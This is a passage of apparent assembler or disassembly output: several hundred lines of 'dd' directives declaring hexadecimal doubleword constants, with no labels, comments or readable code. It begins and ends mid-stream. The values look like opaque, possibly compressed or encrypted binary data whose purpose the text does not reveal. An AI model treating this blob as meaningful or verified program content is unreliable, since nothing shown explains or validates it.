500AEEA2h dd 0AFC3077Ch, 80B2D292h, 4B8D7DBDh, 0EB2638h, 0D6C2D3B3h dd 9AB113h, 0B6466CD0h, 66999395h, 0B8F168C3h, 0B2AFC02Ah dd 9E5D0062h, 97D3C317h, 863AC6C9h, 0D160804Ah, 6B7D2F31h dd 0F4240082h, 38E4E72Bh, 20013976h, 0AF4434B8h, 0B9EC257Fh dd 892F01D6h, 0F1262D58h, 338FC24h, 4BDE1900h, 78508790h dd 0A439001Ah, 64F80FD0h, 0D2F0537Eh, 27730D00h, 2D5F680Bh dd 76C07F54h, 0F4A800A2h, 5DB30788h, 48002CB2h, 0B96FC68Dh dd 25C980h, 0C0353B4Eh, 1F7F83A9h, 345B2F35h, 58B188C2h dd 702E00D0h, 56FD1CBEh, 0FE003B45h, 0A97FF082h, 0F825B9h dd 0C20F2AE2h, 42B2A341h, 0D6154A00h, 9BF6B03h, 6729006Fh dd 0C1DFBBA5h, 0A63DEC72h, 1DDE8E79h, 81E3A0F6h, 43F655Dh dd 593868C5h, 0CD108137h, 8789BF45h, 0C7CC094Eh, 44C0C615h dd 1EBF2E7h, 32ECD150h, 80C0D5A9h, 7B2BA518h, 1450DBDh dd 4305BE03h, 0E0D2BCF2h, 4700813Eh, 77225DD3h, 2A07288Fh dd 3AE8987Ch, 2A1870BCh, 845148C7h, 2E65F600h, 0CDC515EAh dd 746F3EB7h, 0F3A300FCh, 9AC9A4D7h, 20908FB8h, 0CC321A00h dd 0E86415BBh, 3C4148E4h, 8CF82E00h, 1797F72Fh, 8A43100h dd 8F4AAF27h, 9FAA001Ch, 30F90B86h, 0DFE2679Ah, 4CE239C0h dd 48F51713h, 1F11588Dh, 82762424h, 0CEF833h, 316AEA8h dd 4E8B8930h, 0B9900C00h, 0ECA4C3A8h, 2FDF0102h, 9ADA4F4Bh dd 0EF6E7070h, 7C1F96E8h, 6A0551DBh, 0E71C4B28h, 0C26780FDh dd 90C5DEF0h, 31CF0004h, 47D14C2Dh, 93F84246h, 0C39F4907h dd 1B0BC6Fh, 1BF91Fh, 0F6E8F34Bh, 7376485h, 180A5Ch, 0C4FFBA34h dd 0FC0E66h, 0A1C1804Dh, 54319664h, 0E0683B0Bh, 705504D4h dd 30B0DC80h, 99BE0028h, 0C51136A7h, 0CE0053ABh, 275B1A40h dd 0FDF604Ch, 0D7D045FCh, 6CEA6F80h, 2CE64AF9h, 0B76B5F00h dd 0E09BA841h, 1B3C00ABh, 23F7D7B5h, 59002907h, 0D94B0638h dd 0A1A773h, 1E2557D3h, 3DC0FFF8h, 1C3B4F00h, 693C0634h dd 590A00D1h, 2CD3A8B3h, 0ED009CEBh, 4727214Ah, 35C97C3h dd 9C97975h, 0D8E82F20h, 7201A40Fh, 16C8B610h, 4BC8385Eh dd 121B009Ch, 541AED52h, 68003C86h, 0D9EF1DF6h, 5FCCB1h dd 1E203441h, 0EBEED89Dh, 0F784D700h, 19DE4F52h, 97110179h dd 0C13416F2h, 0DB944047h, 0D4165DE1h, 0EA00B1F8h, 0C4AB762Bh dd 85E41C64h, 6D8383BDh, 40C167D6h, 0A8D4FC8Bh, 0CCDEE000h dd 863F8C2Dh, 4093A2B2h, 8010E8h, 0C3EF7B22h, 0C9A03E66h dd 840E6FFCh, 0A0670C2Fh, 0A471D1AFh, 0D0F91822h, 2E8068CCh dd 0D892F500h, 3225569Ch, 0C6B107F0h, 4BFC21h, 23FDB90Ah dd 9131621Eh, 5C48E680h, 3ECDF360h, 6D03F444h, 4B01BEBDh dd 0DC0DFAA9h, 7E02E08Ah, 0EFA96648h, 0FEA4E0F5h, 3A6C00AEh dd 354BE506h, 47388C9Dh, 58CC8010h, 0C36D6403h, 0E17799h dd 1940DB13h, 73856BD6h, 46283B00h, 4784DB7h, 727BB0h dd 1CAD98E2h, 0E9171635h, 59499600h, 2F041FCh, 374500D0h dd 0B9CC3073h, 4DF68A99h, 412A3816h, 630043B8h, 0A7405D94h dd 1005084h, 8906C704h, 0F4C3F1FFh, 3EAF018Ah, 0D433E374h dd 0F013DD30h, 3C01858Ch, 0B66754B7h, 6DECFE46h, 52791C63h dd 92BF0F36h dd 0A108CC0h, 7700686Eh, 395DCA93h, 5A59CFh, 0BFAFD96h dd 666F2223h, 50FBA200h, 7FB28C8Fh, 21340061h, 0BC951BE4h dd 0C93E76E9h, 51128087h, 797D74C3h, 6B4000D2h, 0D8CA53C0h dd 9C001CEFh, 0C7A190E0h, 0E27A6BFh, 0D59B0393h, 215776A0h dd 2004B2Ah, 0B06B5B84h, 1568CC9h, 0F34C48DDh, 0D418B9E0h dd 0EE0285A6h, 0B8DF33A8h, 3E5CC0D4h, 0D74B126Fh, 0C40C0093h dd 9CF02EF1h, 150A5703h, 0C87A5450h, 0E2C1EB6h, 0BD348692h dd 1C5A42E0h, 254C3E68h, 0D6DF00E0h, 962DADFAh, 91C44870h dd 72732200h, 74E6EB7Fh, 7E05CA12h, 3D1F9C00h, 76E7D73Ah dd 7510C31Dh, 86E0883Bh, 7930BB91h, 71D72825h, 9890601Bh dd 0A25AEA99h, 5BC32A00h, 0A0538777h, 0BBF70086h, 0FC37DE9Ah dd 68004780h, 0A68DFBA9h, 67F191h, 956EF434h, 381E41D3h dd 0EA7AAB0Eh, 2749E30Dh, 50CEA9h, 0F991DDA5h, 6B291A04h dd 90FA94EAh, 37B15C0Fh, 7AFDC009h, 3E1126BCh, 0DB3D569Dh dd 38AC1D2Ch, 0E6C017B0h, 51F6801Fh, 18F97A44h, 507B1D9Bh dd 163DB2A5h, 0EC8300B8h, 0FFC615A0h, 7C810025h, 53106287h dd 0A304249Dh, 334F68Ch, 46F85E80h, 0CA1701C0h, 4F3BF265h dd 0EB96E08Fh, 0D4004477h, 0B7067825h, 92CDBDh, 0FA5682FDh dd 38FB22E1h, 2DDD1400h, 2A5F458Bh, 956A1D47h, 467480E4h dd 0DBEC627Bh, 55B2BD00h, 444D3B53h, 343801E6h, 6B889F48h dd 5A52605Eh, 85BC7301h, 1871B053h, 7E258041h, 6214860h dd 5A659649h, 350019D1h, 0E0B3B64Ch, 0AC6F992h, 0FAFB9011h dd 9ED3809Ch, 0E0DC271Bh, 0F1BFC500h, 0CCE52B09h, 4058302Eh dd 0A0FC1D18h, 9C857D02h, 406AC1C0h, 0F0971EF7h, 1D65015Ch dd 5167256h, 3B450B8h, 0D800E2AAh, 6D611381h, 3C999201h dd 370479FAh, 8769F9BAh, 365AC334h, 0F5E618EEh, 40DCCE30h dd 0BDCC56h, 3F92C0Fh, 9B5E9C96h, 0DFE12B00h, 5D6683E0h dd 65801E32h, 95170025h, 59051122h, 18DC2640h, 589FBEA2h dd 0EC00334Ah, 948DF687h, 0D3FBF18Fh, 0E7560018h, 9592E14Ch dd 0F2A323Ch, 1D1180h, 0C091C901h, 63D7163Ch, 0C7440CCh dd 9714C12Ch, 0BE4891DDh, 238A41DCh, 1110826Bh, 4809ADDEh dd 0AF5C94Ch, 93FE5A1Dh, 59477B74h, 0DD030174h, 1119FC1Eh dd 3C5A4820h, 0DB05D362h, 439E6FE0h, 377056B8h, 0D23B47F8h dd 0B600D092h, 0E0D76E8Bh, 73FC309h, 0CEBE8CFFh, 3A9DF019h dd 28B87FDDh, 106248FEh, 102CF29h, 0D095DCF3h, 2D006CF7h dd 0B90D56A1h, 7EC113Fh, 4316E76Ah, 4BD6008Dh, 2E1CF2B6h dd 3140D105h, 0F5E6C7D7h, 28640009h, 27EC16F1h, 0A200E189h dd 23AA66F8h, 72292DC6h, 88150E11h, 1E20322Bh, 26B25C4Fh dd 1DB8CB4Ch, 1AC1F9C4h, 3BD0B5F0h, 288D6ED4h, 1B1AEC2h dd 0A67D801Eh, 0FC4BA552h, 36581805h, 9CEF023Dh, 0C0621EF1h dd 3F5DECF4h, 3801F2BDh, 97A2ED3Ch, 0A1B860B7h, 0D67D5000h dd 0B9825D81h, 2AB2009Eh, 6DA3AE5Ch, 9017028Bh, 640338C6h dd 0DB748185h, 54069845h, 183B606Bh, 98E0ECB1h, 0CBB2C20Bh dd 804D8FC9h, 6039C523h, 13746Bh, 6677CC54h, 93964702h dd 801FCFF6h, 0FA6EF03Ch, 0E40C21Dh, 79C9C38Ch, 2529138Ah dd 2ADC0BD7h, 0E7112001h, 94D1F8F8h, 2734750Fh, 83C0DE3Ch dd 9232AB63h, 0E9A009Ch, 0E59401FDh, 0F271FFA6h, 3B1CE716h dd 0A7782900h, 121970AEh, 248F58h, 0A8CD6318h, 1C00A6FCh dd 0BB46947Dh, 834E3Bh, 6D6BFA4h, 0C677DF34h, 0AC0081F6h dd 0C324365Fh, 0B12C7B6h, 0B7F902E2h, 3F079C00h, 0FE28B914h dd 1A0EF0A6h, 0C0AA36B1h, 79AD5D99h, 0E22D007Bh, 11E75C04h dd 241FE521h, 9C3E96D7h, 650054F3h, 0EDBC93Eh, 0AE5E1D64h dd 0F77F4082h, 14EB4EB6h, 350010F0h, 75A5F061h, 1DC07AB9h dd 40D38C99h, 0E06D90Ch, 4E033D3Ch, 38D6465Bh, 8C6EF041h dd 0F82500B0h, 0ED4DFCC0h, 1200F1AAh, 7541D72Dh, 731597h dd 3AB67CA1h, 0DD6D68FBh, 0FA761900h, 57D49026h, 1AC509B7h dd 0B40078DAh, 2FD2CB35h, 723C8B01h, 0F7A294Ch, 7B751D60h dd 4469027Eh, 9491AC1Eh, 0DF3A060h, 9FD4AA00h, 0A56F5590h dd 0EF500F1h, 0C929AD3Ah, 0B6606DEEh, 8B32B578h, 9E0094F3h dd 0B93F7EDCh, 42387487h, 0F91CE3A9h, 0C47FB3B9h, 33008205h dd 1D3511D5h, 7AD9E50Fh, 0A6A80075h, 282C9850h, 660EFE5Fh dd 646178EEh, 7C80B2B4h, 524E80h, 101CC1BCh, 0AE71B3Bh dd 2B40EA04h, 60804122h, 0FF34895h, 0C9C1C292h, 45EC1360h dd 0AB003558h, 0B4B85785h, 0E90FCF6Fh, 34C044FDh, 4F5C130Ah dd 0DAC04046h, 0EB0DBDA8h, 0C7FE5205h, 0C4C0045Dh, 0F827A3FDh dd 0E6650082h, 6C214C36h, 120020B0h, 35497202h, 0E09DF732h dd 0A0760007h, 96846D82h, 0ECE45FCCh, 0FA60D960h, 0E087D4AEh dd 747B00A6h, 4E78868Ch, 9E2547AAh, 0F1700084h, 38C1E46Eh dd 3681ACA2h, 2616DEC9h, 0F869FCC0h, 0D17B3Ch, 249FFAF9h dd 0AFBD42h, 0D626E3AAh, 0AC483CA3h, 303FE200h, 16F794B1h dd 57953388h, 0F6D06418h, 0ED981B5Ah, 60C35D00h, 0C7A2F0B5h dd 0C2F7002Dh, 96AD4D64h, 0FC30316Ch, 0FBBC3270h, 670C2526h dd 15003A58h, 35C2C432h, 3B9F56h, 6013687h, 22A78EF6h dd 699E5900h, 38808DEBh, 47E4F5D9h, 57720079h, 5D67CB1Ch dd 3D01408Fh, 962B995Ah, 0D021B8FBh, 7D6240FAh, 9A0D3D0Ah dd 76E74180h, 0AFA6FAE9h, 8EFC7F01h, 0DD6ABC9Eh, 0A932ECh dd 0A404234Fh, 0FD54020h, 2B71CF00h, 65A20767h, 58920191h dd 3F0901B8h, 4AA9F805h, 9018F90Fh, 614F00B5h, 0DD123h dd 4757691Bh, 0C74ED47Eh, 8730CC00h, 0BE6F66BAh, 19F4BBh dd 1ABD802Ch, 0B4D05B82h, 0DB783300h, 26F6BF6Eh, 0E29300F1h dd 22D59FC1h, 5A0B882Eh, 0EA64A60h, 0B85580E9h, 1E3D3A08h dd 6E9C25h, 284F0AC8h, 0F900C082h, 0C9DD61B6h, 0ECE9F430h dd 13B10166h, 5BF89008h, 3552201Dh, 81492F00h, 0CE5488BDh dd 0AD330029h, 0EABAEDE7h, 3573759Fh, 7403A2F2h, 52AF54F2h dd 623E003Fh, 4F9E6C45h, 8CF227D6h, 80154738h, 8F951C87h dd 4D53B67h, 8D82A4A9h, 2DDFC028h, 4D090F86h, 8767727Dh dd 22605882h, 0AB535Ah, 0C02FB6B3h, 59D6ADD0h, 9BBBA800h dd 2CE7E3D2h, 0E5330130h, 0EEEF1DDAh, 32B0EF75h, 0A1002A3Fh dd 0F1DC90DEh, 0A8B028h, 0E61D9971h, 2640C6F7h, 3060F3Bh dd 4A15CA2h, 0F0BF83E0h, 2299A8h, 65B82FA4h, 49118F61h dd 0C4FCD21Dh, 0A89BF980h, 525773Fh, 0AA3DB6BDh, 838C04AEh dd 9BDCC0ABh, 7838D14Dh, 266067E8h, 0A1C235D0h, 439F00BCh dd 8F8A7574h, 0AC0F5C22h, 9EBD77F6h, 301BE00Dh, 762108E3h dd 1D18ABBAh, 1E0B10h, 35613CA2h, 0C5B1FFD0h, 0D314FA07h dd 776058F6h, 74E083Bh, 768A74DBh, 0A44B00E2h, 58C00EF1h dd 650D355Fh, 110C6728h, 4D2A809Bh, 772C752h, 5E09477Dh dd 0EAA37A7h, 0F1FBE234h, 0A194A022h, 1438A14h, 3D9FB3B6h dd 80A9CCDCh, 0BE1A2329h, 30EBD4h, 2956594Eh, 0E2FF0628h dd 91218602h, 60B0C67Dh, 7405272Fh, 0E628000Dh, 9CC9B2F0h dd 7C1D42DDh, 54003FDBh, 0D01E9B67h, 0F313009Eh, 0B2FD0CC1h dd 8000070Ah, 5C6F92FEh, 368DAAh, 49F35DA6h, 245A4874h dd 7838F02Dh, 65DB000Dh, 13FE3081h, 0DC30B0C2h, 0D2C3F952h dd 7FF842h, 419446CCh dd 888F6647h, 0E40365B8h, 0B607D425h, 28C6CDh, 64385828h dd 89B403C8h, 0D3BE390Ch, 6F8FDh, 0BC05097h, 0A9C938B3h dd 0C8627B1Dh, 7521C518h, 0C1C3079Ah, 92683D34h, 6AE0B437h dd 123E02B0h, 0B86E14BDh, 0A9DD00F4h, 2925FB67h, 36B01BF1h dd 491D2075h, 293854F7h, 0C600C812h, 7405FF5Eh, 0FB90075Dh dd 469F4CDFh, 9C1C2127h, 0D400FF52h, 9257B4AFh, 0CE21000Eh dd 32ADA109h, 0C5E8E125h, 0BC05151Dh, 0AFE62A01h, 0EE60684Fh dd 0E4CB07A0h, 46C60D0Ch, 0F8072192h, 4801681Ch, 0B3102B80h dd 3302C0BCh, 41D827C4h, 8BD5EA00h, 3228C2A6h, 918C1F3Bh dd 2C5700DAh, 0C81F0A37h, 7E0FE578h, 6069126Ch, 60469C3Bh dd 0A5AF1E22h, 37F0C026h, 2D764AFFh, 0B13B3F03h, 9885824Bh dd 29EE9FBh, 6ED113DDh, 5C40B9A7h, 0BAE6D581h, 49184C00h dd 33099FDFh, 0DDF30014h, 9C303844h, 9905B121h, 6B2284FFh dd 55C4F8C0h, 0BEDA0336h, 2BEFF647h, 0C3BD0388h, 0A0AB2700h dd 2521023Bh, 98087B24h, 0F6450CEAh, 4F29225Eh, 300611FBh dd 0EC109912h, 0AB7440C4h, 44D12644h, 744E522h, 51776669h dd 0B00729D7h, 5BFACB3Dh, 5D53EB70h, 3AA40F97h, 93209217h dd 0B3584A19h, 5CF2BA00h, 7E210327h, 0C9FA0051h, 3998384Bh dd 0B8004DC2h, 0BEE03283h, 0E7276Dh, 6C7DD8Eh, 0E30746F0h dd 9302E106h, 1CE6FA88h, 5C7CE831h, 0F9A300DDh, 0E13CC889h dd 0F0ED1800h, 7B852B9Fh, 7F640B6Bh, 0D7768E97h, 0B9020500h dd 1D66F145h, 0C044936Dh, 37DDF5EBh, 8C09CC55h, 0ED7695h dd 328D7C41h, 1D06002Ch, 0D8964FF8h, 631C33B2h, 80FB5453h dd 47B59EDCh, 0B8AEAD6Eh, 4EDF3C44h, 0C7455780h, 170A2420h dd 0B4506300h, 8B76BD8Ah, 0E4C93E53h, 7E4CDA8h, 177421Eh dd 502D976Dh, 7B115AD5h, 0D64A9500h, 0AF636510h, 5BF70EE0h dd 0AEC017E3h, 8D97D305h, 71822900h, 22BC630h, 1F8301A6h dd 0CF61C4B3h, 0E6FAC4AEh, 2F056F0Ch, 0FAB810CDh, 34BC1C96h dd 2C17B4h, 0FF80B510h, 0ED381236h, 0DA150FB2h, 673A0A1h dd 25309B9h, 33C26C3Ch, 0C080EFFDh, 0F3720C49h, 452671Fh dd 1C0FC140h, 304D3057h, 0EE706066h, 0BC006D50h, 4EB06461h dd 18D1065h, 0CFD6E519h, 70B49851h, 200C57Ah, 0BD692550h dd 0F2CA6A8h, 3FEA6D52h, 1ED97542h, 15D8081h, 0DDC8072h dd 0AE465C91h, 0D5D10009h, 0DFE64418h, 34032F07h, 242CCD2Eh dd 287FACh, 9B06899Dh, 0F241CF0Ah, 6D3A6800h, 8743A64Eh dd 0EF6B04Bh, 482C8BEBh, 6051A927h, 0C71C390Eh, 6395721Fh dd 1FD7980h, 0E71D5ABEh, 3B0A7D0h, 0C129FA15h, 0F8C084EEh dd 0F42867C4h, 332EE8D9h, 0E401DBBBh, 0F24DECBCh, 354E7E4h dd 0DAD1891h, 0A6705145h, 0A53FC40Fh, 0ED9204Ch, 0E461F1Ch dd 6482111Bh, 0AA8DBE1h, 0E837DCC3h, 0D7912000h, 0C24E5D08h dd 8A940AAAh, 39C8E672h, 79523200h, 8396AE5Fh, 5EDBBB00h dd 63EC5C70h, 89642EEDh, 0DF5201EEh, 204C8D9Eh, 70032438h dd 0E616DC91h, 6367E88Bh, 0DE620030h, 0AB73A3ACh, 4D00AAEFh dd 0B4527AA9h, 0E0C6419h, 0F5116B08h, 8CE091AEh, 0CEF47B7Eh dd 0BF438700h, 0AC74FEA1h, 98EF0077h, 79E3DD72h, 2E004C4Dh dd 0E4CA4AB6h, 0B41C80h, 0AB843F25h, 91A61E46h, 0A5BAE100h dd 929F7D04h, 9D0F076Dh, 0A0665219h, 4AC2F60Dh, 0B465740Bh dd 15EE87BCh, 8091E50h, 0F57BD0h, 0D3CBDA83h, 5A24B8B0h dd 0C5D080EFh, 0C701EE25h, 0E438B8E9h, 0A9E265h, 94B9CE15h dd 8CB0E691h, 0CFF0EA02h, 0E07B9D2Eh, 752F0B52h, 82731757h dd 0F9AA84Ch, 0A1B365FAh, 2B48F38Fh, 0E1CA6E8h, 0D17E64A5h dd 0F89E05E0h, 8100127Ch, 0DBC4CEC3h, 0E7E6B8h, 0A2E35FFh dd 28A558B2h, 45C1D11Ch, 61E4BCC0h, 7820EEBh, 8B18800Fh dd 0E6805BB5h, 0BB50240Dh, 1B00F879h, 7A6B19D8h, 2EA44D3Dh dd 1A8B33h, 0CF033AB8h, 440032C6h, 14DF8A88h, 1DCE5DF7h dd 0C9B538h, 9E2004BAh, 3E00975Ch, 167273D1h, 503A0A60h dd 0E381C0h, 0C9068008h, 6F241EF3h, 0AF6BAA12h, 34B5EC00h dd 3389E99h, 8677069Ah, 6DB195BFh, 6F79F87Ah, 0EB00DAB0h dd 3421F4AAh, 2C73DFECh, 6B0316h, 0DC14E244h, 8F3A3FEDh dd 3D0500C4h, 0B35D5498h, 819A0060h, 0B8A23E99h, 6B18E40Dh dd 8D40A155h, 0C228009Ch, 0B1D2BDAh, 0B100D852h, 2E9867FCh dd 0F32D5Dh, 35F7A2B5h, 7564B7B4h, 0CBE4D8C0h, 9E6DB2h dd 9DA5C0C4h, 0FEF5E1A3h, 0BB4E1507h, 0B4208440h, 177D3C75h dd 793055h, 333A5EC9h, 0BD0BB561h, 83B8858Ch, 133DAD64h dd 11DE4F68h, 79B0A8h, 815C569Ch, 6487A250h, 81618E35h dd 0BE0B8D00h, 17C8656h, 67B1480Ch, 0E0DBB4BCh, 0B600C291h dd 961858A5h, 14C2E1Ch, 86877ECFh, 0F7CA85F3h, 0BF5270C8h dd 42AA0E1Fh, 0D2290180h, 0E4AB48h, 0D5DA73B7h, 913289DEh dd 201ECD1Fh, 0F6509B80h, 0C40932Ah, 5DA38821h, 0C500A1D0h dd 317D1FB2h, 0E2E4AFAh, 52318A8h, 0D986C760h, 0E301335Ch dd 506FF38Ah, 92D432C5h, 134EE2A6h, 0FBB86813h, 35E22500h dd 6BDCAFh, 4758454Ah, 0A312CF29h, 0D99FE705h, 1A801B0Ah dd 44422Dh, 2EEFA949h, 15FB52EEh, 0CA069900h, 0CB828F1Ah dd 0A76A3931h, 7209280h, 541B951Eh, 85E8FE00h, 0B183ED01h dd 3F8600A8h, 27302CF4h, 361211DAh, 7FFC67Eh, 0A08C1708h dd 86060F24h, 0F4263Bh, 2A97BB64h, 980E052Ch, 3D8D2E01h dd 0D9C600BAh, 0E43412E7h, 1C507F3Dh, 7C0042CFh, 6AA4C4A8h dd 3ED9E496h, 0FB004780h, 0A94F452Dh, 34928DF2h, 2B001FFCh dd 49AACEF7h, 79FB101Ch, 7D73036Dh, 85505D8Bh, 0E28C62EFh dd 547680C0h, 9083881Dh, 0B654BE5Fh, 94B809DCh, 3C138039h dd 37D822Fh, 40DC258h, 49A01597h, 0E5707453h, 603B1314h dd 24D500BCh, 0BBEA5A51h, 79433D99h, 57DB2A05h, 649EC0A2h dd 621EE377h, 0BBC03963h, 73E261AFh, 530A0E14h, 20E4DF45h dd 0D43380F5h, 6900701Dh, 0F15466C2h, 76D0A1Fh, 93E39FC8h dd 9318CEFh, 6EF47F02h, 40494FF9h, 31B924h, 4C5BE8A3h dd 11587AA0h, 0CF017873h, 0D54DC88Bh, 69F82A3Ch, 606C4889h dd 983BCC01h, 804AE2D9h, 0B846EE10h, 3D4F7FE8h, 0E61883E9h dd 3D509A63h, 6F690107h, 312013B0h, 48E3D4B3h, 0AB03BCF2h dd 2A5577Fh, 20EBF6F1h, 883E85E4h, 0AE51068Eh, 7490940Bh dd 0E6380C76h, 7B38F1C7h, 2ACF5A00h, 0A2CA611Dh, 353C00D0h dd 0D9A92174h, 0CD00DD59h, 0EE069BA8h, 7B2C0A0Bh, 504F0095h dd 157DB2B5h, 8FA58E1h, 7A3253Eh, 12981D8Ch, 73BB3070h dd 0EE560063h, 0FB57E916h, 900020B3h, 38864D18h, 1CBD84A6h dd 8071C7A5h, 675619CAh, 0A700E5FEh, 0F9810B8Ah, 3F020942h dd 0F8229Eh, 0CF35FA5Fh, 0ED64AE7Ch, 451398C7h, 0A4CDB6A1h dd 2E2D360h, 0BFC59DC1h, 2EC169DAh, 6A27F005h, 0E4B3Bh dd 0B7D5286Eh, 8C98DDh, 0D667A25Eh, 0F4619372h, 75FD3201h dd 0D086B4F9h, 349BE0h, 18BFD964h, 0BA5FD281h, 0A435F10Fh dd 47890104h, 0F2C855FEh, 0B07014h, 86F3544Eh, 0CAD31FE1h dd 0C0192A00h, 0EAC32C23h, 9A28C798h, 137EFAAh, 0D769E99Ah dd 7872E015h, 7A82B700h, 4144AC80h, 47AF00D2h, 0DDA505ECh dd 5D04F2D5h, 208BB319h, 33934EC0h, 0AE435C3Ch, 0B27D6D04h dd 0C79F8008h, 6F26D1EAh dd 790734A2h, 7A82B3BAh, 12CC689Dh, 0C672167Dh, 765800EFh dd 58626891h, 9469B200h, 287D3723h, 4C1B3A73h, 0AA43F08Eh dd 80646264h, 6BD912EBh, 36441A00h, 4F9445BBh, 8370020h dd 0C9A9EC9Ch, 4D0FA5A4h, 0C071D914h, 3889BDFh, 0BA470006h dd 9343CB45h, 0FE006597h, 3338A652h, 7B1E55h, 201CF5C7h dd 37DD9CADh, 96342D01h, 84533B42h, 70B9ECh, 0DECD64FCh dd 0A8BB7BCh, 683EA400h, 0F9B6AF40h, 0C56C043Ch, 0C091C4E8h dd 0DE0DF25h, 2326B70Ch, 1722903h, 47E6CDA4h, 30DF9610h dd 5A019388h, 147E588Ah, 7A605ED0h, 4C1800ADh, 671DF2A1h dd 0B600E2C9h, 0F0DD5142h, 7F8288Bh, 8F9DA0E5h, 80FDF5F7h dd 1C0122A6h, 1B629700h, 0C568117Ch, 35DA0078h, 818E9853h dd 5500CA7Fh, 6512AFDEh, 8BC115h, 0F256CE0Fh, 5A94FC52h dd 4E0022FEh, 4BA46170h, 7793ADCh, 2572DDD4h, 2180E949h dd 4DF8FB66h, 0B1370B12h, 8F10F800h, 0C8F58Ch, 81BB138Ah dd 2FB5D687h, 0F4A39700h, 8235BA93h, 0F53F412h, 76F9098Dh dd 0F591E260h, 2A001A84h, 3EC6AD37h, 71DC04DAh, 58860745h dd 400C9DFBh, 1623EC5Bh, 517D9E00h, 9C55A766h, 0B4A3006Bh dd 0E122A4CAh, 3A05FBD3h, 4731968Dh, 0AECC1780h, 0A16F0173h dd 4EA99E1Eh, 0FBA54012h, 7D13C4D3h, 6B00F365h, 4A896210h dd 9FF85C6Eh, 0FB000F39h, 0BB2807FEh, 34036FE2h, 0B4964B7Ch dd 0C92488B6h, 1707120h, 82050C16h, 20A5E199h, 215C7B67h dd 0C92A0090h, 722CBD18h, 0A906163Dh, 20360150h, 4061A46Ah dd 555DE4CCh, 80B69D39h, 0C68659D0h, 3D92FEDh, 741B3477h dd 0E0B17003h, 0C4D1C524h, 6A00F49Dh, 359FA375h, 0AC4D7Eh dd 0EE71B563h, 772CF628h, 10849630h, 70EDFD76h, 0E6A2069Ch dd 188BD749h, 0F40A541Ch, 4B8FDA80h, 13EAF1D0h, 11DB253h dd 86E97C49h, 1025FCD7h, 8003BE3Eh, 32911162h, 3B4333h dd 4B66C987h, 70EABF48h, 71BA11C0h, 0B94C85h, 8418B0D1h dd 0E12D1F31h, 6C6DC0Fh, 0DEFC6068h, 30225A4h, 0D839A8C7h dd 95F80AB4h, 0D8A8A0F1h, 6F0F40E0h, 61F871E8h, 0AD8A9293h dd 3BE532C0h, 0D3001FDh, 8EAC3359h, 9F9BEA00h, 1EC8B1E7h dd 586D00BEh, 565C852Ch, 0F3000ED4h, 5B0AA49Ch, 0FAECB07h dd 0A247985Ah, 801B18C5h, 5CAF80A3h, 0E4920E28h, 2DDDE000h dd 7194D684h, 0B0A6652Ch, 1043C79Ch, 18686C59h, 723FC50Ch dd 7CD3884Eh, 0FC1F0048h, 5D465324h, 6B003C03h, 5F8E708h dd 0FCF0C49Ah, 1843077Dh, 0A0AB36E2h, 448138FDh, 68129000h dd 51D8BE25h, 0DA85003Bh, 374BE139h, 8224380Fh, 588030D0h dd 6CD6A2D7h, 9ADF01DDh, 1DE92CDBh, 5E132006h, 8059883Ch dd 49A88452h, 394BC6E3h, 570BAE2h, 125B702Ah, 8EE8C0EFh dd 0C3001419h, 9C1C4FEDh, 7E893B7Fh, 492D00D2h, 0A0562184h dd 0B000E679h, 9478DCEh, 2CD2DC5Eh, 0EF99B6h, 4E070E13h dd 757435A8h, 470056E0h, 0FEB54B8Dh, 12EA77D6h, 53C872h dd 4F5D34A0h, 0F100BC8Ah, 42F37C4Dh, 20D3E4h, 0FAEB6F4Ah dd 45545E88h, 8C570F01h, 0F3C6B7FEh, 0F5D4D0CBh, 0F1C2018Ah dd 452EE52Ah, 4182E8E1h, 94216200h, 0E0CDD5BFh, 0B06D67EBh dd 0A605A018h, 0DAF0F23Eh, 7A4E2602h, 416CED1Ah, 0DC204FF4h dd 34C33F11h, 0D4004A48h, 32E94C79h, 1850EC99h, 441DF0A8h dd 0A0E88DBCh, 0E859C41Eh, 0CC45BF41h, 199D4FF1h, 6A41C087h dd 0B68BA2EAh, 887C641Eh, 49FE6640h, 0DE8755h, 0B4D2A157h dd 83460F53h, 4000FB98h, 0D1478063h, 41B0EA8h, 6F22E40Ch dd 60289096h, 0D4001751h, 32DE2BFCh, 70215E2h, 9CF00181h dd 0BCC82075h, 10033655h, 92830EDAh, 7C9FB1F5h, 804AF4h dd 2950B65Dh, 12B21D32h, 3B45E820h, 82001A30h, 0A787E3B3h dd 0F10026E6h, 0A9929C0Ah, 78AF8Bh, 2B6C5237h, 1516A1E7h dd 393CDC7Bh, 7029245Eh, 7A8AD807h, 2214F6A1h, 0FAB4E8D7h dd 6C73009Fh, 4326CA2Eh, 4902F886h, 0CF97D9DCh, 0D77C60DAh dd 0D2F9098Ah, 0BC000403h, 0DBA188E1h, 4ACEA31Fh, 6EA62180h dd 102420h, 89D89EB1h, 0CCAFD4C2h, 6CDC7000h, 0EC735463h dd 30BD88F3h, 1F41F000h, 9F68F54Ch, 0AE640009h, 0B3542353h dd 0B70EA81Bh, 126F67A5h, 7DC31047h, 0E85620E0h, 487A00ABh dd 0CCB57447h, 0D607E444h, 0C16CC8B0h, 952137E0h, 5190085h dd 0C7B6DEA3h, 5D00E954h, 0C10A8C6Bh, 12E50BCFh, 7235E9Dh dd 10C7737Ch, 95D8C808h, 76E83F12h, 0E032520Fh, 0B2E62234h dd 0EA62006Ch, 156EAA27h, 0BF3B43F6h, 0F7100EBh, 0FCF47CCFh dd 141C0E12h, 0F62005DEh, 0B0AEEA55h, 20C0D0FEh, 37D853BCh dd 0EBBD1C84h, 6ED147FBh, 0B7FD1706h, 0E31B301Eh, 20FD2D15h dd 0CCE88073h, 77C62609h, 0F4020508h, 6E5CA000h, 9235483h dd 0E8A86265h, 7F11C700h, 35002D0Eh, 0D40D0528h, 7472EA6h dd 27BCAB44h, 1A1B013h, 7200E433h, 5C42211Ah, 2BFB09h dd 0E2B3FEEEh, 48390E4Eh, 0DD2D2600h, 8307F3C1h, 16A9F49Fh dd 2C6659C3h, 492D194h, 65AC9D00h, 0B3337991h, 483A0056h dd 0D0E68B10h, 2A19D8A0h, 7938A2B1h, 9A7EF930h, 15F15854h dd 0BAFF7507h, 11A590DAh, 0C9199617h, 27483857h, 1AC77180h dd 0D4DD9843h, 38E86CB2h, 0BCD50B26h, 0E4108600h, 9887BAh dd 0C171B744h, 81595CAEh, 0B2A87200h, 6391F5FEh, 48FFF610h dd 2613AC2Ch, 81D9008Ch, 0BF967AEFh, 80CC0748h, 789C6A64h dd 0D4FF00C8h, 0A988E3D5h, 130082AAh, 0CD15629Bh, 0B3B4EEh dd 33FF1995h, 0BC014DA6h, 0A048D80Bh, 274B0076h, 